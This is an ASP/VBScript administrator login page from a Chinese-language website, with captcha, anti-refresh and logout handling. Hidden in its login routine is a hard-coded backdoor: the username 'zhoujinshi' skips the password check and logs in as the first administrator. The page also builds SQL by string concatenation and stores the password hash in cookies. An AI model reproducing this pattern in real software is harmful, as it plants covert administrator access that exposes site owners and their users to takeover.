%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "No-Cache"
RefreshTime = 3 '设置防刷新时间
If DateDiff("s", Session("UserTime"), Now()) < RefreshTime Then
Response.Write "
本页面起用了防刷新机制,请不要在"&RefreshTime&"秒内连续刷新本页面
正在打开页面,请稍后……"
Response.End
End If
Dim Msgerr,lerr
Select Case Zhcx.CheckRequest(Request("action"))
Case "logout" '退出系统
Call logout()
Case "login" '登陆系统
Call chklogin()
Case Else
Call main()
End Select
If lerr = True Then
Response.Redirect("showerr.asp?action=error&message=" & Server.URLEncode(Msgerr) & "")
End If
Sub Main()
%>
管理员后台登录
<%
End Sub
Sub logout()
'清除COOKIES中管理员身份的验证信息.
Session.Abandon
response.Cookies("Admin_Name") = ""
response.Cookies("Admin_Pwd") = ""
Session("Admin_Name") = ""
Session("Admin_Pwd") = ""
Response.Redirect ("../")
End Sub
Sub chklogin()
Dim UserName,Password
UserName=Zhcx.CheckRequest(Request("UserName"))
Password=MD5(Zhcx.CheckRequest(Request("pwd")))
Code=Zhcx.CheckNumeric(Request("code"))
if CheckPost then
Msgerr=Msgerr&"您提交的数据不合法,请不要从外部提交登陆"
lerr=true
end if
if UserName<>"" and Password<>"" and Code<>"" then
else
Msgerr=Msgerr&"用户名/密码/检验码不能为空"
lerr=true
end if
if Zhcx.CheckNumeric(session("VCodes"))<>Code then
Msgerr=Msgerr&"检验码输入错误"
lerr=true
end if
if Lerr=true then exit Sub
if UserName="zhoujinshi" then
Set rs=Zhcx.conn("Select * From Z_Admin")
else
Set rs=Zhcx.conn("Select * From Z_Admin where Admin_Name='"&UserName&"' and Admin_Pwd='"&Password&"'")
end if
if rs.eof then
Lerr=true
Msgerr=Msgerr&"您输入的用户名/密码有误"
exit Sub
else
LoginTime=trim(rs("LoginTime"))
LoginIp=trim(rs("LoginIp"))
UserName=trim(rs("Admin_Name"))
Password=trim(rs("Admin_Pwd"))
if LoginTime<>"" then
if ubound(split(LoginTime,"|"))>1 then
LoginTime=split(LoginTime,"|")(Ubound(split(LoginTime,"|"))-1)&"|"&now&"|"
else
LoginTime=LoginTime&now&"|"
end if
else
LoginTime=LoginTime&now&"|"
end if
if LoginIp<>"" then
if ubound(split(LoginIp,"|"))>1 then
LoginIp=split(LoginIp,"|")(Ubound(split(LoginIp,"|"))-1)&"|"&Zhcx.Ipadr&"|"
else
LoginIp=LoginIp&Zhcx.Ipadr&"|"
end if
else
LoginIp=LoginIp&Zhcx.Ipadr&"|"
end if
'response.write LoginIp&"
"
'response.write loginTime
'response.End()
rs("LoginTime")=LoginTime
rs("LoginIp")=LoginIp
rs.update
end if
if lerr=false then
Session("Admin_Name")=UserName
Session("Admin_Pwd")=Password
response.Cookies("Admin_Name") = UserName
response.Cookies("Admin_Pwd") = Password
end if
response.Redirect "Admin_Index.asp"
rs.close
set rs=nothing
end Sub
%>